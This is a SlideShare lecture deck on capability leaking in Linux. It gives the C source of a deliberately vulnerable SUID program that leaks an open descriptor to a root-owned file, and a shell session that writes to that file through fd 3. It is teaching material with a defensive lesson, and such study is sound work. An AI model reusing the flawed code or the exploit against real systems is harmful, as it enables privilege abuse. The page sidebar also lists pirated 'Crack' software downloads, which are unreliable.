SlideShare a Scribd company logo
Can I write to a read only file?
- Oops the file was not closed
Dr. Dharma Ganesan
Background and Problem
● A file is owned by the root (admin)
● Other users can read its content but cannot write to it
● An SUID Linux binary can write to that file
● The SUID binary drops the privilege before spawning a new process
○ The new process is not owned by the root
● Problem: The parent process forgot to close the file
● Can the less privileged child process write to the read only file?
/etc/zzz is owned by the root
~$ ls -al /etc/zzz
-rw-r--r-- 1 root root 29 May 2 07:48 /etc/zzz
Other users can read (r) it but only the root can write (w) to it.
Let’s try to write to the read only file
~$ echo "Writing to a read only file" > /etc/zzz
bash: /etc/zzz: Permission denied
● Let’s find an SUID Linux binary that may have some vulnerability
● Cap_Leak is a demo example (on the next slide)
● Cap_Leak has a vulnerability we will exploit!
○ Cap_Leak will leak the file descriptor
Cap_leak can write to the /etc/zzz file
~$ ls -al cap_leak
-rwsr-xr-x 1 root seed 7386 Apr 29 18:45 cap_leak
● Note: cap_leak is an SUID binary (s)
● However, other users are allowed to execute it “as a root” temporarily
● The source code of cap_leak.c is on the next slide
○ Header files are not included to save space
void main() {
int fd;
char *v[2];
/* Assume that /etc/zzz is an important system file,
* and it is owned by root with permission 0644… */
fd = open("/etc/zzz", O_RDWR | O_APPEND);
/* Error handling code is removed to save space on the slide */
// Print out the file descriptor value
printf("fd is %dn", fd);
// Permanently disable the privilege by making the effective uid the same as the real uid
setuid(getuid());
// Execute /bin/sh
v[0] = "/bin/sh"; v[1] = 0;
execve(v[0], v, 0);
}
The file is not closed before
spawning a less privileged
child process
~$ cat /etc/zzz
bbbbbbbbbbbbbbbbbbbbbbbbbbbb
Content of the read only file (before the attack)
Content of the read only file (after the attack)
~$ ./cap_leak
fd is 3
$ echo "If we fail to close the files, someone can write to them!" >& 3
$
$ exit
~$ cat /etc/zzz
bbbbbbbbbbbbbbbbbbbbbbbbbbbb
If we fail to close the files, someone can write to them!
Conclusion
● This demo shows that we need to close all opened files
● Otherwise, evil processes can write to read only files
● Dropping the privilege is not enough
● Don’t assume that the child process need the file descriptor to exploit
○ File descriptors are small numbers that are easy to guess
Reference
Wenliang Du. “Computer Security, A Hands-on Approach,” CreateSpace
Independent Publishing Platform; 1 edition (October 12, 2017)

More Related Content

PPTX
Unix cmd on_free_bsd
PDF
Linux fundamental - Chap 03 file
PDF
Building a userspace filesystem in node.js
PDF
Cpp lab 13_pres
PDF
Linux basics and commands - from lynxbee.com
ODP
CS50x Permissions, Files, Users
PPTX
S3 & Glacier - The only backup solution you'll ever need
PPTX
Unix cmd on_free_bsd
Linux fundamental - Chap 03 file
Building a userspace filesystem in node.js
Cpp lab 13_pres
Linux basics and commands - from lynxbee.com
CS50x Permissions, Files, Users
S3 & Glacier - The only backup solution you'll ever need

What's hot (20)

PDF
Unix for Librarians
PDF
System administration
PDF
리눅스 간단 강의 5강
PDF
Find & Locate utility Linux
ODP
An Introduction to GNU/Linux
DOC
Restricting unix users
PDF
PPTX
Macros code for Protecting and Unprotecting Sheets
PPTX
Linux basic1&2
PDF
Barbarians at the Gate(way) - Dave Lewis - Codemotion Amsterdam 2018
PDF
An Overview of HTML5 Storage
PDF
Git installation
ODP
NFS ubuntu Server and windows 7 Client
TXT
新建 文本文档
PDF
Node.js Authentication and Data Security
PPTX
Python data file handling
PDF
PHP Identity and Data Security
TXT
Mounting usb free bsd
PPT
Perl Intro 8 File Handles
PDF
JSOP in 60 seconds
Unix for Librarians
System administration
리눅스 간단 강의 5강
Find & Locate utility Linux
An Introduction to GNU/Linux
Restricting unix users
Macros code for Protecting and Unprotecting Sheets
Linux basic1&2
Barbarians at the Gate(way) - Dave Lewis - Codemotion Amsterdam 2018
An Overview of HTML5 Storage
Git installation
NFS ubuntu Server and windows 7 Client
新建 文本文档
Node.js Authentication and Data Security
Python data file handling
PHP Identity and Data Security
Mounting usb free bsd
Perl Intro 8 File Handles
JSOP in 60 seconds
Ad

Similar to Can I write to a read only file ? (20)

PDF
Linux Directory Structure
PDF
Linux Fundamentals and how to use linux.pdf
PDF
Fun with FUSE
PDF
An Introduction To Linux
PDF
Linux Internals Part - 1
PDF
beginner.en.print
PDF
beginner.en.print
PDF
beginner.en.print
PDF
Rhel 6.2 complete ebook
DOCX
Rhel 6.2 complete ebook
ODP
Grub and dracut ii
PDF
Adhocr T-dose 2012
PDF
openbsd-as-nas.pdf
PDF
Linux kernel modules
PPT
Unix Administration 4
PDF
File system discovery
PDF
Analyze corefile and backtraces with GDB for Mysql/MariaDB on Linux - Nilanda...
ODP
Description of GRUB 2
Linux Directory Structure
Linux Fundamentals and how to use linux.pdf
Fun with FUSE
An Introduction To Linux
Linux Internals Part - 1
beginner.en.print
beginner.en.print
beginner.en.print
Rhel 6.2 complete ebook
Rhel 6.2 complete ebook
Grub and dracut ii
Adhocr T-dose 2012
openbsd-as-nas.pdf
Linux kernel modules
Unix Administration 4
File system discovery
Analyze corefile and backtraces with GDB for Mysql/MariaDB on Linux - Nilanda...
Description of GRUB 2
Ad

More from Dharmalingam Ganesan (20)

PDF
.NET Deserialization Attacks
PDF
Reverse Architecting using Relation Algebra.pdf
PDF
How to exploit rand()?
PDF
Cyclic Attacks on the RSA Trapdoor Function
PDF
An Analysis of RSA Public Exponent e
PDF
An Analysis of Secure Remote Password (SRP)
PDF
Thank-a-Gram
PDF
Active Attacks on DH Key Exchange
PPTX
How do computers exchange secrets using Math?
PDF
On the Secrecy of RSA Private Keys
PDF
Computing the Square Roots of Unity to break RSA using Quantum Algorithms
PDF
Analysis of Short RSA Secret Exponent d
PDF
Dependency Analysis of RSA Private Variables
PDF
Analysis of Shared RSA Modulus
PDF
RSA Game using an Oracle
PDF
RSA Two Person Game
PDF
RSA without Integrity Checks
PPTX
RSA without Padding
PDF
Solutions to online rsa factoring challenges
PDF
Security of RSA and Integer Factorization
.NET Deserialization Attacks
Reverse Architecting using Relation Algebra.pdf
How to exploit rand()?
Cyclic Attacks on the RSA Trapdoor Function
An Analysis of RSA Public Exponent e
An Analysis of Secure Remote Password (SRP)
Thank-a-Gram
Active Attacks on DH Key Exchange
How do computers exchange secrets using Math?
On the Secrecy of RSA Private Keys
Computing the Square Roots of Unity to break RSA using Quantum Algorithms
Analysis of Short RSA Secret Exponent d
Dependency Analysis of RSA Private Variables
Analysis of Shared RSA Modulus
RSA Game using an Oracle
RSA Two Person Game
RSA without Integrity Checks
RSA without Padding
Solutions to online rsa factoring challenges
Security of RSA and Integer Factorization

Recently uploaded (20)

PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 41
PPTX
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
PDF
Odoo Companies in India – Driving Business Transformation.pdf
PDF
System and Network Administraation Chapter 3
PDF
How to Choose the Right IT Partner for Your Business in Malaysia
PPTX
Introduction to Artificial Intelligence
PDF
PTS Company Brochure 2025 (1).pdf.......
PDF
Raksha Bandhan Grocery Pricing Trends in India 2025.pdf
PDF
How to Migrate SBCGlobal Email to Yahoo Easily
PDF
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
PPTX
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
PPTX
history of c programming in notes for students .pptx
PPTX
Transform Your Business with a Software ERP System
PDF
Understanding Forklifts - TECH EHS Solution
PDF
Navsoft: AI-Powered Business Solutions & Custom Software Development
PDF
System and Network Administration Chapter 2
PPTX
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
PDF
wealthsignaloriginal-com-DS-text-... (1).pdf
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PDF
Flood Susceptibility Mapping Using Image-Based 2D-CNN Deep Learnin. Overview ...
Internet Downloader Manager (IDM) Crack 6.42 Build 41
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
Odoo Companies in India – Driving Business Transformation.pdf
System and Network Administraation Chapter 3
How to Choose the Right IT Partner for Your Business in Malaysia
Introduction to Artificial Intelligence
PTS Company Brochure 2025 (1).pdf.......
Raksha Bandhan Grocery Pricing Trends in India 2025.pdf
How to Migrate SBCGlobal Email to Yahoo Easily
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
history of c programming in notes for students .pptx
Transform Your Business with a Software ERP System
Understanding Forklifts - TECH EHS Solution
Navsoft: AI-Powered Business Solutions & Custom Software Development
System and Network Administration Chapter 2
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
wealthsignaloriginal-com-DS-text-... (1).pdf
Adobe Illustrator 28.6 Crack My Vision of Vector Design
Flood Susceptibility Mapping Using Image-Based 2D-CNN Deep Learnin. Overview ...

Can I write to a read only file ?

  • 1. Can I write to a read only file? - Oops the file was not closed Dr. Dharma Ganesan
  • 2. Background and Problem ● A file is owned by the root (admin) ● Other users can read its content but cannot write to it ● An SUID Linux binary can write to that file ● The SUID binary drops the privilege before spawning a new process ○ The new process is not owned by the root ● Problem: The parent process forgot to close the file ● Can the less privileged child process write to the read only file?
  • 3. /etc/zzz is owned by the root ~$ ls -al /etc/zzz -rw-r--r-- 1 root root 29 May 2 07:48 /etc/zzz Other users can read (r) it but only the root can write (w) to it.
  • 4. Let’s try to write to the read only file ~$ echo "Writing to a read only file" > /etc/zzz bash: /etc/zzz: Permission denied ● Let’s find an SUID Linux binary that may have some vulnerability ● Cap_Leak is a demo example (on the next slide) ● Cap_Leak has a vulnerability we will exploit! ○ Cap_Leak will leak the file descriptor
  • 5. Cap_leak can write to the /etc/zzz file ~$ ls -al cap_leak -rwsr-xr-x 1 root seed 7386 Apr 29 18:45 cap_leak ● Note: cap_leak is an SUID binary (s) ● However, other users are allowed to execute it “as a root” temporarily ● The source code of cap_leak.c is on the next slide ○ Header files are not included to save space
  • 6. void main() { int fd; char *v[2]; /* Assume that /etc/zzz is an important system file, * and it is owned by root with permission 0644… */ fd = open("/etc/zzz", O_RDWR | O_APPEND); /* Error handling code is removed to save space on the slide */ // Print out the file descriptor value printf("fd is %dn", fd); // Permanently disable the privilege by making the effective uid the same as the real uid setuid(getuid()); // Execute /bin/sh v[0] = "/bin/sh"; v[1] = 0; execve(v[0], v, 0); } The file is not closed before spawning a less privileged child process
  • 7. ~$ cat /etc/zzz bbbbbbbbbbbbbbbbbbbbbbbbbbbb Content of the read only file (before the attack)
  • 8. Content of the read only file (after the attack) ~$ ./cap_leak fd is 3 $ echo "If we fail to close the files, someone can write to them!" >& 3 $ $ exit ~$ cat /etc/zzz bbbbbbbbbbbbbbbbbbbbbbbbbbbb If we fail to close the files, someone can write to them!
  • 9. Conclusion ● This demo shows that we need to close all opened files ● Otherwise, evil processes can write to read only files ● Dropping the privilege is not enough ● Don’t assume that the child process need the file descriptor to exploit ○ File descriptors are small numbers that are easy to guess
  • 10. Reference Wenliang Du. “Computer Security, A Hands-on Approach,” CreateSpace Independent Publishing Platform; 1 edition (October 12, 2017)